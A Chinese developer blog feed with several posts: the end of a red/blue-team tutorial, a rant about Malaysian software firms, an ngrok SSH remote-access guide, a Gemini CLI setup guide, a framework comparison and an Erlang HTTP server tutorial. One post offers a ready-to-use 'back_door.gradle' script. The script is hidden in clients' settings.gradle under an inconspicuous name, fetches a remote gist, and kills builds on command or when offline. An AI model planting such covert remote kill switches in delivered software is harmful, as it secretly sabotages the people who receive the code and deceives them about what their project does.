        80     { "HTTP - 未加密网页流量" }
        443    { "HTTPS - 加密网页流量" }
        3306   { "MySQL - 关系型数据库" }
        5432   { "PostgreSQL - 关系型数据库" }
        6379   { "Redis - 内存数据存储/缓存" }
        27017  { "MongoDB - NoSQL数据库" }
        21     { "FTP - 文件传输协议" }
        25     { "SMTP - 邮件发送协议" }
        3389   { "RDP - 远程桌面协议" }
        8080   { "HTTP备用端口 - 开发/测试环境常用" }
        8081   { "HTTP开发端口 - Web开发常用" }
        5228   { "Google Play 服务 - 推送与同步" }
        5223   { "APNs - 苹果推送通知服务" }
        110    { "POP3 - 邮件接收协议" }
        143    { "IMAP - 邮件同步协议" }
        993    { "IMAPS - 加密IMAP协议" }
        465    { "SMTPS - 加密SMTP协议" }
        5900   { "VNC - 远程桌面访问" }
        11211  { "Memcached - 分布式内存缓存" }
        69     { "TFTP - 简易文件传输协议" }
        161    { "SNMP - 网络监控与管理协议" }
        8443   { "HTTPS备用端口 - 安全开发/测试环境常用" }
        Default { "未知端口" }
    }
}

while ($true) {
    Show-Spinner

    # Get all ESTABLISHED TCP connections excluding local ones
    $connections = Get-NetTCPConnection -State Established | Where-Object {
        $_.RemoteAddress -ne "127.0.0.1" -and $_.RemoteAddress -ne "::1"
    }

    $connections | ForEach-Object {
        $src_ip = $_.RemoteAddress
        $dst_port = $_.LocalPort
        $timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss"

        $entryLine = "$timestamp | $src_ip | $dst_port"
        $logExists = Select-String -Path $LogFile -Pattern "$src_ip.*$dst_port" -Quiet

        if (-Not $logExists) {
            $port_info = Describe-Port $dst_port
            "$entryLine ($port_info)" | Out-File -FilePath $LogFile -Append -Encoding utf8
            Write-Host "[NEW] Connection from $src_ip â†?Local Port $dst_port ($port_info)"
        }
    }

    Start-Sleep -Seconds 10
}

3. Payload检测

执行应用白名单和脚本阻断策略。
监控PowerShell、Python或可执行文件发起的外部连接。
示例：Sysmon规则检测外部PowerShell连接。

4. Payload投递防御

邮件网关附件沙箱化。
全面打补丁降低漏洞利用风险。
用户安全意识培训，防钓鱼与社会工程攻击。

5. 执行与Shell检测

监控异常IP或端口的出站连接。
关联网络流量与终端日志，识别信标行为。
EDR可检测非交互式Shell会话。

6. 后渗透防御

检测异常权限提升行为。
审计文件访问、进程创建与横向移动尝试。
利用异常检测工具标记异常系统行为。

7. 持久化与清理防御

监控启动脚本、cron任务、注册表项的未授权变动。
启用不可篡改日志和关键配置变更告警。
事后取证分析还原攻击链条。

红队 vs 蓝队阶段对照表

阶段	红队进攻	蓝队防御
侦察	网络扫描（`nmap`、`masscan`）	检测扫描、关闭未用端口、网络分段
监听器设置	Metasploit监听（`msfconsole`）	监控异常监听与开放端口
Payload生成	`msfvenom`生成Payload	应用白名单、脚本监控
Payload投递	钓鱼、漏洞利用	邮件沙箱化、打补丁、用户培训
执行	Payload运行，建立逆向Shell	出站监控、异常检测
后渗透	命令执行、权限提升	监控异常活动、权限滥用
持久化	可选后门或计划任务	监控启动任务、注册表项、服务
清理	删除日志、掩盖痕迹	不可篡改日志、取证关联分析

请记住，本教程仅用于学习、渗透测试授权实验室和防御研究。不要将这些技术用于非法入侵或破坏他人财产。尊重法律与道德，是每一个安全从业者的底线。

为什么我讨厌与马来西亚的软件公司合作？

钟智强 — Thu, 24 Jul 2025 15:49:41 +0000

我是个写代码有洁癖的人

作为一名长期从事软件工程与架构设计的开发者，我主要涉猎：

后端语言：Golang、Java（Spring Boot）、C++、Python
前端 / 客户端开发：Next.js、Vue、Flutter、Android 原生（Java/Kotlin）、iOS SwiftUI

在过去数年的项目开发中，我习惯于从系统架构层面出发，先理清数据流、业务边界、模块划分，再开始编码。
我始终坚信：代码不是写出来“能跑”就够了，而是要“经得起阅读、维护、迭代”。

代码要干净，架构要合理，安全性、稳定性与性能缺一不可。

但遗憾的是，在我与多家马来西亚本地软件公司合作的过程中，这些最基本的工程理念，经常被无情践踏，甚至被当作“累赘”对待。

问题一：对代码质量和系统设计毫无敬畏之心

在马来西亚，很多中小型软件公司普遍存在一种奇怪的开发心态：

“只要客户不投诉，交付能上线，代码再乱也没关系。”

他们认为编码风格、架构规范、安全防护，都是“锦上添花”的“奢侈品”，而不是“必须品”。

但从一个架构师的角度出发，我看到的却是：

系统极度耦合、不可维护
安全漏洞触目惊心
UI/UX 设计极其草率
代码层面充满重复、拼凑、无测试的“代码垃圾”

案例实录：我真的遇到过这些离谱到离谱的项目

公司 A：在 Flutter 中用 `for` 循环暴力构建 UI

这家公司在开发 Flutter 项目时，明明是异步数据渲染的场景，居然用 for() 循环硬刷 widget 列表，而不是 StreamBuilder 或 FutureBuilder。

结果造成页面卡顿、状态错乱、异常频发。
更离谱的是，开发者居然说：

“这样比较快写完，而且能跑啊。”

这是快速交付吗？不，这是对框架机制的践踏。

公司 B：不用 Git，代码靠“打印”备份

这家公司到现在还在靠“打印源码纸质档案”做版本控制。每个月月底，把项目代码全部打印下来，装进文件夹归档。

没有 Git，没有 commit log，没有代码 diff、pull request，全靠纸质比对。

我问：“那多人协作开发怎么办？”
答曰：“我们彼此不动对方代码。”

🤦‍♀️ 我无语到失语，21 世纪了，软件开发靠打印来备份？这是开发还是玩穿越剧？

公司 C：一个 `main.dart` 塞 9000 行代码，自称 MVC

这个项目让我窒息：

所有页面和逻辑集中写在一个文件：main.dart
文件长达 9000 多行，包含十几个 class 和若干 void main() 函数
所有 UI 控件都用 Container 伪装 AppBar、FAB、BottomNavBar
每个组件都嵌套一个新的 MaterialApp

开发者说他们有在使用“MVC 架构”，
但所谓的 MVC，就是把所有 Model、View、Controller 全部堆在 main.dart 里。

你这不是 MVC，这是MCU（Marvel Cinematic Universe）宇宙坍缩。

公司 E：React Native 项目硬编码管理员账号密码

一个 React Native 项目，管理员账号密码直接硬编码在代码里：

const adminUsername = "admin";
const adminPassword = "123456";

然后这家公司还拒绝引入 .env 或加密方案，理由是：

“麻烦，没时间搞。”

你上线的是一个拥有后台权限的应用诶，不是你家门口的电灯开关。

这种行为说难听点就是：主动裸奔，还怪天气太热。

公司 D：Spring Boot 项目全 GET 接口 + 明文密码

这家 Java 后端项目更是让我大开眼界：

所有接口都用 GET 请求（包括用户创建、修改、删除）
没有使用 ORM，全靠拼接 SQL
没有使用 OOP，全程 procedural
密码字段以明文存储在 MySQL 中，无加密、无 Hash、无 Salt

他们甚至说这“更方便调试和查询”。

但你知道这代表什么吗？
只要一个 SQL 注入，整个数据库就可以被直接 dump。更别提GDPR、PDPA、安全合规这一类根本不在他们的词典里。

借口一大堆，但都是逃避责任的幌子

在我指出问题后，常常收到的回应是：

“我们以前写 Delphi 的”
“我是从 C# 转过来的”
“语言不同，写法也不同”
“客户看不到代码，能跑就行”

我只想说：

我也写过 COBOL 给银行做核心系统，也写过用 Erlang 实现的电信 SIP 调度项目。
但换语言就该换思维，别拿“过往经验”当挡箭牌，写垃圾代码不配叫“兼容思维”。

真实案例：马来西亚官方 Flutter 项目发生用户数据泄露

我曾向某马来西亚交通部相关 Flutter 项目的团队报告严重的用户信息泄露漏洞（泄露包括身份证号码、用户实名、注册地址等全套数据），

我还完整撰写了报告并发布于我个人漏洞档案页：

🔗 Bug Bounty 案例分析 - 2025年3月24日

直到今天，无回应，无修复，无公告。

这样的官方项目都如此对待数据隐私，让我深感寒心。

技术人的底线，不能靠“差不多”撑着

我不是在否定整个马来西亚软件行业，的确也有认真负责的团队，但在我所接触的百余家公司里：

至少 70% 存在严重的技术不规范与安全意识缺失的问题。

我写这篇文章，不是为了抱怨，而是为了敲响一个警钟：

写烂代码可以短期交付，但你留不住客户
系统架构乱七八糟，维护的人每天都在流血
UI/UX 随意堆砌，用户体验烂掉，产品不会有未来

你写代码的方式，就是你做人做事的方式。

你代码乱，我也会怀疑你的生活方式是不是也一团糟。

💬 欢迎讨论

你是否也经历过这些“地狱级”的开发现场？
你是否也为职业底线一次次被迫妥协而感到疲惫？

欢迎留言，我们一起来聊聊 ——
别让“能上线”成为你对技术的全部理解。

用 ngrok + SSH 实现公网远程控制电脑

钟智强 — Thu, 10 Jul 2025 16:14:29 +0000

项目背景

当网络处于 NAT/不稳定的公网 IP 环境下，简单通过 SSH 连接内网主机是不可能的：

无法缓解 NAT
远程无法直接 ssh 自己网络内的主机
公司或家庭网络常常封锁 22 端口

ngrok 利用「逆向 TCP 隔离网络通道」，实现了一个有效的「软公网」模型。内网主机主动连接 ngrok，且外网可通过接口 TCP 重应连接，达成一个安全连通。

架构设计图

[手机或远程控制终端]
          |
      ssh -p 12345 user@x.tcp.ngrok.io
          |
[ngrok 公网中继服务器]
          |
    Secure Tunnel (ngrokd)
          |
[你的 Mac / Windows SSH 服务]

1. 配置 SSH 服务器

macOS

sudo systemsetup -setremotelogin on

测试本地 SSH:

ssh youruser@localhost

Windows

打开 PowerShell (管理员):

Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0
Start-Service sshd
Set-Service -Name sshd -StartupType 'Automatic'

测试本地 SSH:

ssh youruser@localhost

2. 配置 ngrok TCP 逆向通道

注册 ngrok: https://ngrok.com
下载 CLI: https://ngrok.com/download
配置 Token:

ngrok config add-authtoken <your-token>

启动 SSH TCP 选项:

ngrok tcp 22

输出:

tcp://4.tcp.ngrok.io:12345 → localhost:22

3. 远程连接命令结构

ssh youruser@4.tcp.ngrok.io -p 12345

建议配置 SSH config:

Host my-mac
    HostName 4.tcp.ngrok.io
    Port 12345
    User youruser

连接可简化为:

ssh my-mac

4. 跨平台遥控命令对比

功能	macOS (终端)	Windows (PowerShell / CMD)
锁屏	`pmset displaysleepnow`	`rundll32.exe user32.dll,LockWorkStation`
睡眠	`pmset sleepnow`	`rundll32.exe powrprof.dll,SetSuspendState 0,1,0`
关机	`sudo shutdown -h now`	`shutdown /s /f /t 0`
重启	`sudo shutdown -r now`	`shutdown /r /f /t 0`
登出	`osascript -e 'tell app "System Events" to log out'`	`shutdown /l`
通知框	`osascript -e 'display notification "Hi 灵儿" with title "SSH"'`	`msg * "你好"`

5. 安全性加固

使用 SSH 公钥:

ssh-keygen -t ed25519
ssh-copy-id youruser@localhost

禁用密码登陆:

sudo nano /etc/ssh/sshd_config

# 修改:
PasswordAuthentication no
PermitRootLogin no

限制 ngrok TCP 访问:

ngrok tcp 22 --acl allow_cidr=203.0.113.0/24

6. 自动化脚本

启动 ngrok 并输出 URL

#!/bin/bash
ngrok tcp 22 > ~/ngrok.log &
sleep 2
grep -o 'tcp://.*' ~/ngrok.log | tee ~/ngrok_url.txt

一键锁屏:

ssh my-mac 'pmset displaysleepnow'

请下方评论让我知道你最喜欢哪一部分哟～

在Termux中安装和使用Google Gemini CLI的完整指南

钟智强 — Mon, 30 Jun 2025 18:10:54 +0000

什么是Google Gemini CLI？

Google Gemini CLI是一个命令行工具，允许开发者直接在终端中与Google的Gemini AI模型交互。它提供了简单高效的方式来测试和集成Gemini的强大AI能力到你的开发工作流中。

Gemini是Google最新推出的大型语言模型，具有强大的自然语言理解和生成能力，可以用于代码生成、问题解答、内容创作等多种场景。

在Termux中安装Gemini CLI

Termux是Android设备上的强大终端模拟器，下面我们一步步教你如何在Termux中安装和使用Gemini CLI。

1. 准备工作

首先确保你的Termux是最新版本，并更新软件包：

pkg update && pkg upgrade

安装必要的依赖：

pkg install nodejs-lts git

2. 安装Gemini CLI

通过npm全局安装Gemini CLI：

npm install -g @google/gemini-cli

安装过程可能需要几分钟，取决于你的网络速度。安装完成后你会看到类似这样的输出：

changed 431 packages in 37s
123 packages are looking for funding
   run `npm fund` for details

3. 配置API密钥

要使用Gemini CLI，你需要一个Google Gemini API密钥。获取密钥后，在Termux中创建配置文件：

vim .env

在文件中添加你的API密钥：

GEMINI_API_KEY={你的API密钥}

4. 启动Gemini CLI

配置完成后，只需输入以下命令即可启动：

gemini

你将进入Gemini的交互界面，可以开始与AI对话了！

基本使用方法

启动Gemini后，你可以：

直接输入问题或指令与AI交互
使用@符号后跟文件路径让AI分析文件内容
输入/help查看所有可用命令
选择不同的主题和设置

例如：

> 你好
♦ 你好！有什么我可以帮助你的吗？

常见问题解决

安装缓慢：可以尝试更换npm源为国内镜像：

npm config set registry https://registry.npm.taobao.org

权限问题：如果安装失败，尝试加上sudo或使用npm install --unsafe-perm

API密钥无效：确保密钥正确且已启用，检查.env文件的位置和格式。

在Termux中使用Gemini CLI为移动开发者提供了随时随地访问强大AI能力的便利。无论是学习编程、调试代码还是获取技术建议，Gemini都能成为你得力的助手。

赶快按照本文的步骤安装体验吧！如果你在使用过程中遇到任何问题，欢迎在评论区留言讨论。

Lynx vs React Native vs Flutter 全面对比：三大跨端框架实测分析

钟智强 — Thu, 26 Jun 2025 06:52:31 +0000

一文看懂三大热门跨端技术的历史渊源、架构机制、开发体验、包体积对比与性能评估。

我陪你用实测数据带你理性选型，不踩坑，不盲信。

1. 框架简介：它们是谁？来自哪里？干嘛用？

框架名称	所属公司	发布时间	初衷 / 定位
React Native	Meta（Facebook）	2015	用 JS 写原生 App，复用 Web 经验
Flutter	谷歌	2018	全自绘 UI，打造统一的多端体验
Lynx	字节跳动	内部框架	高性能轻量级 UI 渲染引擎，替代 RN 场景

🔹 React Native

用 React + JavaScript 写 App；
通过 JS Bridge 与 Native 通信；
生态成熟，适合快速开发。

🔹 Flutter

使用 Dart 语言；
自带渲染引擎（Skia），UI 全自绘；
性能强，跨端一致性高。

🔹 Lynx（字节跳动内部框架）

使用 AST DSL 或类 Vue 语法；
使用自研渲染引擎（C++ 实现）；
小而快，适合嵌入式、信息流、IoT 场景。

2. 架构对比：底层是怎么工作的？

框架	架构类型	UI 渲染机制	与原生交互方式
React Native	JS Bridge 架构	使用原生组件	JS ↔ Native 异步调用
Flutter	自绘引擎架构（Skia）	全部 UI 自绘	Dart ↔ C++ ↔ 原生桥
Lynx	AST DSL + 自研引擎	渲染引擎驱动 UI 渲染	JSON AST ↔ Native 高性能通信

3. 项目创建时间对比 🕒

测试创建一个“计时器 App”项目的 scaffold 初始化耗时（单位：秒）：

框架	创建项目耗时
React Native	1.48 秒
Lynx	0.17 秒
Flutter	1.69 秒

👉 Lynx 是明显的极速启动王者，适合大批量快速生成场景。

4. 打包后的 APK 体积对比 📦

统一将“计时器 App”打包为 Release APK，使用 du -h 获取体积如下：

框架	APK 大小（Release）
React Native	205 MB
Lynx	145 MB
Flutter	19 MB

✅ Flutter 拥有最小体积，得益于提前编译 + 资源剔除优化。

5. 核心代码对比 👩‍💻

React Native 示例：

import React, { useState } from 'react';
import { Text, Button, View } from 'react-native';

export default function App() {
  const [seconds, setSeconds] = useState(0);
  return (
    <View>
      <Text>{seconds}s</Text>
      <Button title="Start" onPress={() => setSeconds(seconds + 1)} />
    </View>
  );
}

Flutter 示例：

import 'package:flutter/material.dart';

void main() => runApp(MyApp());

class MyApp extends StatelessWidget {
  int seconds = 0;

  @override
  Widget build(BuildContext context) {
    return MaterialApp(
      home: Scaffold(
        body: Center(child: Text('$seconds 秒')),
      ),
    );
  }
}

Lynx 示例:

import { useCallback, useEffect, useState } from "@lynx-js/react";

import "./App.css";
import arrow from "./assets/arrow.png";
import lynxLogo from "./assets/lynx-logo.png";
import reactLynxLogo from "./assets/react-logo.png";

export function App() {
  const [alterLogo, setAlterLogo] = useState(false);

  useEffect(() => {
    console.info("Hello, ReactLynx");
  }, []);

  const onTap = useCallback(() => {
    "background-only";
    setAlterLogo(!alterLogo);
  }, [alterLogo]);

  return (
    <page>
      <view className="Background" />
      <view className="App">
        <view className="Banner">
          <view className="Logo" bindtap={onTap}>
            {alterLogo
              ? <image src={reactLynxLogo} className="Logo--react" />
              : <image src={lynxLogo} className="Logo--lynx" />}
          </view>
          <text className="Title">React</text>
          <text className="Subtitle">on Lynx</text>
        </view>
        <view className="Content">
          <image src={arrow} className="Arrow" />
          <text className="Description">Tap the logo and have fun!</text>
          <text className="Hint">
            Edit<text style={{ fontStyle: "italic" }}>{" src/App.tsx "}</text>
            to see updates!
          </text>
        </view>
        <view style={{ flex: 1 }}></view>
      </view>
    </page>
  );
}

6. 总体对比分析 🧠

维度	React Native	Flutter	Lynx
上手门槛	中（前端开发者较易上手）	中偏高（需掌握 Dart 语言）	高（文档缺乏，仅限企业内部使用）
构建速度	快	一般	极快
打包体积	较大（约 205MB）	极小（约 19MB）	中等偏大（约 145MB）
动画与渲染性能	中等	高（自绘引擎优势明显）	一般
原生扩展能力	强	强	中等
开源与生态	开源活跃，社区庞大	开源增长快，支持良好	闭源，社区和资源有限
典型适用场景	MVP 快速开发、轻量级应用	高性能跨端应用、复杂 UI 交互	内嵌业务页面、IoT、信息流容器型场景

未来趋势展望 🔮
Flutter：生态持续扩大，Google 主推，Web 与桌面支持不断加强；
React Native：靠 Expo/Fabric/TurboModule 向现代架构演进；
Lynx：可能会被 WASM + WebCanvas 替代，作为专用容器存在于巨头内部。

没有银弹，选框架要理性。
看业务场景、团队技术栈、长期维护成本，再决定用什么。
技术测评，只说真话，不贴 logo，帮你避坑不踩雷！

不打包，打款先：基于 Gradle 的构建开关设计

钟智强 — Sun, 22 Jun 2025 11:33:39 +0000

本文内容及所涉及的技术，仅限用于合法授权下的安全研究、教学演示、
以及漏洞复现。严禁将本文技术用于未授权的渗透、监听、植入、操控行为。

本文内容仅限安全研究、漏洞复现与教学演示使用！

使用者必须在完全理解并接受本声明的前提下继续阅读与操作。
凡将本文所述方法用于非法用途者，一切法律后果由使用者本人承担。

请严格遵守所在地的法律法规，特别是以下中国法律条款：

📜 《中华人民共和国网络安全法》 第十二条：
禁止任何组织或个人利用网络危害国家安全、煽动颠覆政权等活动。

📜 《中华人民共和国刑法》 第二百八十五条至二百八十七条：
非法入侵计算机系统、篡改或破坏数据将追究刑责。

📜 《中华人民共和国数据安全法》 第三条、第十七条：
数据处理活动必须合法合规，严禁非法获取、传输或泄露数据。

⚖️ 非法使用将触犯法律，作者不承担由此引发的任何后果。

🧪 本文操作均在本地沙箱环境下进行，示例所用 APK 为自定义构建 demo，用于演示完整技术链路，非实际恶意软件。

💡 特别提醒：
本文所涉及操作可能包含网络通信、远程访问、敏感权限调用等，
必须在受控环境下、获得明确授权后进行。
未经许可的任何行为都将被视为违法攻击。

📛 作者立场中立，仅为安全教育目的演示，不对滥用技术行为负责。

💭 当您遇到无赖时，咋办？

这不是一个哲学问题，而是每一个做项目的程序员迟早会遇到的现实难题。
你加班熬夜写功能，对方上线就用，测试也不测，交付后却突然开始装死：“嗯嗯，试用一下再看要不要续费。” 或 “哎哟～只是简单的代码嘛～至于吗？ DeepSeek 都能写出来了，至于计较吗？”

要授权不给授权，要支持不给支持，甚至明目张胆跑到别的服务器把你辛辛苦苦写的系统复制粘贴，理直气壮开源给他全公司同事用。

👀 这时候你是选择原谅他？还是礼貌开战？

哼！礼貌？我就不～ 😤🙂‍↔️

软件开发不是慈善，付费是尊重！

在我们程序员的世界里，最宝贵的不是代码，而是心血和专业积累。

所以我写了一个专为「对抗无赖」设计的小工具...........一个轻量级、不可见、优雅、高效、有文化有威慑力的授权验证守护程序。

为什么要做这个？

在我们做外包 / 项目交付 / App 定制化开发的时候，常见一种客户类型：

“能不能先给我一个 APK？我们内部先看看。”

然后是：

“我看你这包是能打出来的，那交付就是完成了嘛！我尾款晚点结~”

再然后是：你打的包，被他们改名、上传、上线、变现。尾款没了，人也拉黑了。

如果你做的是 Flutter、React Native、原生 Android (Kotlin/Java) 项目，哪怕不给源码，只要有 flutter build apk 或 ./gradlew assembleRelease 权限，他们就能绕过你。

这，就是我们为什么要写一个远程构建许可系统。

系统目标

🚫 尾款未支付 → 客户无法构建应用包
✅ 支付尾款后 → 远程解锁构建权限
🎯 远程控制，一行都不用改源码即可强控构建流程
🛡️ 支持 Flutter、React Native、Java/Kotlin Android、Unity 等所有 Gradle 项目

系统原理：一句话总结

“在 Gradle 构建流程开始前，远程请求一个 JSON 接口，决定构建是否允许继续。”

这个 JSON 配置长这样：

{
  "x": false
}

当 x = true 时，构建将被强制中止。
当 x = false 时，构建流程正常继续。

⚠️ 默认策略是：如果无法连接接口（超时/错误），构建也会被禁止，确保安全优先。

快速集成指南

第一步：编写构建控制脚本

命名为 back_door.gradle（或你喜欢的名字，如 config.gradle, 请不要取太明显的命名）

// =====================================================================
// 🌸 构建许可控制脚本
// 可嵌入到 settings.gradle 中，以远程配置形式启用/禁用构建功能。
// 用途：防止客户未付款擅自构建 APK，或用于控制构建许可。
// =====================================================================

// ✅ 加载 Groovy JSON 解析器
import groovy.json.JsonSlurper

// =====================================================================
// 📡 配置你的远程许可接口（必须返回 JSON 格式）
// 格式示例：{ "x": true }
// - 当 x 为 true：锁定构建（阻止 build）
// - 当 x 为 false：允许构建
//  @Warning 📝 请替换为你自己的远程接口地址（例如：Gist RAW 链接）
// 示例：https://gist.githubusercontent.com/ctkqiang/4931614d2eea62680c5c6b71d81affed/raw/cdbe7331280c6f5fd00e4e321e7afd25f064b41a/block.json
// 🌐 该接口必须返回 JSON 格式内容，字段结构如下：
//   {
//     "x": true  // 或 false
//   }
//
// 字段说明：
//   - 当 "x": true 时，将禁止执行构建（即构建锁定/封锁）
//   - 当 "x": false 时，允许正常构建
//
// 🚧 你可以用这个机制对客户 Flutter 项目的构建行为进行权限控制，
//    例如：尾款未支付时禁止其生成正式 APK 包。
// =====================================================================
def endpoint = "https://gist.githubusercontent.com/ctkqiang/4931614d2eea62680c5c6b71d81affed/raw/cdbe7331280c6f5fd00e4e321e7afd25f064b41a/block.json"

// =====================================================================
// 🚀 检查当前执行的 Gradle 任务是否包含构建相关命令
// 避免在 IDE 同步项目（非构建行为）时触发远程接口调用
// =====================================================================
def taskList = gradle.startParameter.taskNames
def isBuildTask = taskList.any {
    def lower = it.toLowerCase()
    return lower.contains("build") || lower.contains("assemble") || lower.contains("bundle")
}

// =====================================================================
// 🛡️ 如果是构建任务，则执行远程许可检查
// =====================================================================
if (isBuildTask) {

    try {
        // 🌍 建立远程连接（读取 JSON 文件）
        def conn = new URL(endpoint).openConnection()
        conn.setConnectTimeout(3000) // 网络连接超时：3秒
        conn.setReadTimeout(3000)    // 数据读取超时：3秒
        conn.setRequestProperty("User-Agent", "Build_Checker/1.0")

        // 🧠 使用 JsonSlurper 解析远程 JSON 内容
        def json = new JsonSlurper().parse(conn.getInputStream())

        // ✅ 校验返回的字段格式：必须包含布尔型字段 x
        if (!(json?.x in [true, false])) {
            println("🛑 配置错误：字段 `x` 必须是 true 或 false（布尔值）")
            System.exit(1)
        }

        // ❌ 如果 x 为 true，则拒绝构建
        if (json.x == true) {
            println("🛑 灵儿封锁构建通道！你还没付尾款 💸")
            System.exit(1)
        }

        // ✅ 一切正常，输出许可通过
        println("✅ 远程许可通过 ✨")

    } catch (Exception e) {
        // 🌐 网络异常、解析失败或接口无响应时也终止构建
        println("🛑 无法完成远程验证：${e.class.name} - ${e.message}")
        System.exit(1)
    }
}

第二步：在 settings.gradle 添加 hook

放到最后一行：

apply from: "back_door.gradle"

或

apply from: "config.gradle"

⚠️ 注意：脚本文件需与 settings.gradle 同级。建议不要命名为 build.gradle，避免和已有构建文件冲突。

支持平台

平台类型	插入方式
Flutter	在 `settings.gradle` 添加 `apply from: 'path/to/secretguardian.gradle'`
React Native	同 Flutter，在项目根目录的 `settings.gradle` 添加相同配置
Java / Kotlin	在 `settings.gradle` 或 `build.gradle` 添加依赖和扫描任务
Unity (Android)	修改 `mainTemplate.gradle` 插入自动检测逻辑
Cordova / Expo	通过 Hook 机制集成到打包脚本 (`after_prepare` 等阶段)

测试方法

Flutter:

创建一个 Flutter 项目：

 flutter create build_lock_demo

添加 back_door.gradle 并修改 settings.gradle
尝试运行：

flutter build apk

如果接口返回 { "x": true } → 构建失败，显示锁定信息
如果返回 { "x": false } → 构建通过

其他平台（React Native / 原生 Android / Cordova / Unity）测试:

正常创建或打开项目
将 back_door.gradle 放入与 settings.gradle 同级目录
在 settings.gradle 最后一行添加：

apply from: "{您的构建名称}.gradle"

执行正常构建命令：

./gradlew assembleRelease

或
如果你使用的是 Android Studio，直接点击『Run』或『Build』即可。

构建过程会被远程 JSON 控制是否继续，行为与 Flutter 项目一致。

这套构建许可系统不是为了报复，而是：

✅ 给开发者一个合理的项目控制权利，保护我们的技术成果，防止劳动成果被白嫖。

你可以把它集成进所有项目模板，作为开发者默认的「合法防身系统」。

记住，

代码你可以复制，良心你抄不来。

Erlang 从零写一个 HTTP REST API 服务

钟智强 — Fri, 13 Jun 2025 10:13:28 +0000

🧠 本文不只是教学代码，而是帮助你理解「Erlang 写 Web 服务」的底层原理，用最野性但真实的方式。

你可能已经习惯了 Java 的 Spring Boot、Node.js 的 Express、Python 的 Flask —— 但这些都有框架。而这次，我们直接用 Erlang 写 HTTP 服务，不依赖 cowboy、mochiweb 或 yaws，完全裸写 socket 层，硬核程度拉满。

👩‍💻 目标：

写一个能处理 GET 和 POST 请求的 Web 服务器
路由分发基本 API 请求路径
接收 JSON（模拟即可）
返回标准 HTTP 响应

建立最原始的 TCP 服务

Erlang 的 gen_tcp 模块就是我们所有操作的起点：

start() ->
    {ok, ListenSocket} = gen_tcp:listen(8080, [binary, {packet, 0}, {active, false}, {reuseaddr, true}]),
    loop_accept(ListenSocket).

loop_accept(ListenSocket) ->
    {ok, Socket} = gen_tcp:accept(ListenSocket),
    spawn(fun() -> handle(Socket) end),
    loop_accept(ListenSocket).

监听本地 8080 端口
接收到连接后，spawn 一个进程专门处理这个 Socket（这就是 Erlang 并发威力！）

解析 HTTP 请求（简单模拟）

真正的 HTTP 协议超复杂，这里我们做「最小可运行子集」：

handle(Socket) ->
    {ok, Data} = gen_tcp:recv(Socket, 0),
    Request = binary_to_list(Data),
    io:format("Request: ~s~n", [Request]),
    Response = route(Request),
    gen_tcp:send(Socket, Response),
    gen_tcp:close(Socket).

现在的重点是 route/1 —— 我们来构造最基础的路由逻辑。

基于请求构建路由

route(Request) ->
    %% 基于最简单的方式分析请求头第一行
    case string:tokens(Request, " \r\n") of
        ["GET", "/", _] ->
            ok("Hello from Erlang REST API!");
        ["GET", "/ping", _] ->
            ok("pong");
        ["POST", "/echo", _ | _] ->
            ok("echo placeholder");
        _ ->
            not_found()
    end.

构造 HTTP 响应（手撸）

ok(Body) ->
    list_to_binary(
        "HTTP/1.1 200 OK\r\n" ++
        "Content-Type: text/plain\r\n" ++
        "Content-Length: " ++ integer_to_list(length(Body)) ++ "\r\n\r\n" ++
        Body
    ).

not_found() ->
    list_to_binary(
        "HTTP/1.1 404 Not Found\r\n" ++
        "Content-Length: 0\r\n\r\n"
    ).

完整代码

%%%-------------------------------------------------------------------
%%% @doc 超轻量级 HTTP 服务器，无框架，无依赖，纯 Erlang socket 实现
%%%-------------------------------------------------------------------
-module(simple_http_server).
-export([start/0]).

start() ->
    {ok, ListenSocket} = gen_tcp:listen(8080, [
        binary,
        {packet, 0},
        {active, false},
        {reuseaddr, true}
    ]),
    io:format("🚀 Server started at http://localhost:8080~n"),
    loop(ListenSocket).

loop(ListenSocket) ->
    {ok, Socket} = gen_tcp:accept(ListenSocket),
    spawn(fun() -> handle(Socket) end),
    loop(ListenSocket).

handle(Socket) ->
    case gen_tcp:recv(Socket, 0) of
        {ok, Data} ->
            Request = binary_to_list(Data),
            io:format("📥 Incoming Request:\n~s~n", [Request]),
            Response = dispatch(Request),
            gen_tcp:send(Socket, Response),
            gen_tcp:close(Socket);
        {error, closed} ->
            gen_tcp:close(Socket);
        {error, Reason} ->
            io:format("❌ Error: ~p~n", [Reason]),
            gen_tcp:close(Socket)
    end.

dispatch(Request) ->
    case string:tokens(Request, " \r\n") of
        ["GET", "/", _] ->
            ok("🌈 Welcome to Erlang REST API");
        ["GET", "/ping", _] ->
            ok("pong 🏓");
        ["POST", "/echo", _ | _] ->
            ok("🔁 Echo endpoint reached (body parsing TBD)");
        ["GET", Path, _] ->
            case is_static(Path) of
                true -> ok("[static] no content");
                false -> not_found()
            end;
        _ ->
            not_found()
    end.

is_static(Path) ->
    lists:any(fun(Ext) -> string:ends_with(Path, Ext) end, [".css", ".js", ".less", ".png", ".jpg"]).

ok(Body) ->
    list_to_binary(
        "HTTP/1.1 200 OK\r\n" ++
        "Content-Type: text/plain; charset=utf-8\r\n" ++
        "Content-Length: " ++ integer_to_list(length(Body)) ++ "\r\n\r\n" ++
        Body
    ).

not_found() ->
    list_to_binary(
        "HTTP/1.1 404 Not Found\r\n" ++
        "Content-Type: text/plain\r\n" ++
        "Content-Length: 13\r\n\r\n404 Not Found"
    ).

测试一下

erl

然后

Erlang/OTP 27 [erts-15.2.6] [source] [64-bit] [smp:8:8] [ds:8:8:10] [async-threads:1] [jit] [dtrace]

Eshell V15.2.6 (press Ctrl+G to abort, type help(). for help)

1> c(simple_http_server).
{ok,simple_http_server}
2> simple_http_server:start().

运行一下

curl http://localhost:8080/                     # Hello from Erlang REST API
curl http://localhost:8080/ping                 # pong
curl -X POST http://localhost:8080/echo

你到底做了什么？

✅ 你构建了一个最小可运行的 HTTP Server（支持 GET/POST）
✅ 没有用任何框架，全靠你自己解析请求、构造响应
✅ 所有逻辑都是原生进程，不靠 gen_server，也没 OTP 套路

其实很多人觉得 Erlang 写 Web 太麻烦、过时了，但只要你理解其并发模型和分布式能力，这种原始的 socket 编程可以成为你探索更强大后端架构的基石

软件架构模式揭秘......小白也能懂的架构

钟智强 — Fri, 13 Jun 2025 10:12:25 +0000

在本文中，我将使用 Java 和 UML 对软件工程中常见的架构模式进行图文并茂的解释。Java 不仅是一门强大的编程语言，更是一种清晰表达软件设计理念的工具。UML 则让我能够以可视化的方式理解结构与交互。本博客面向所有想深入理解架构思想的开发者，不论你是否主攻 Java，都能从中获得清晰的认知。

为什么用 Java 和 UML？

在架构学习中，语言并不是核心，但选择 Java 作为表达工具有如下优点：
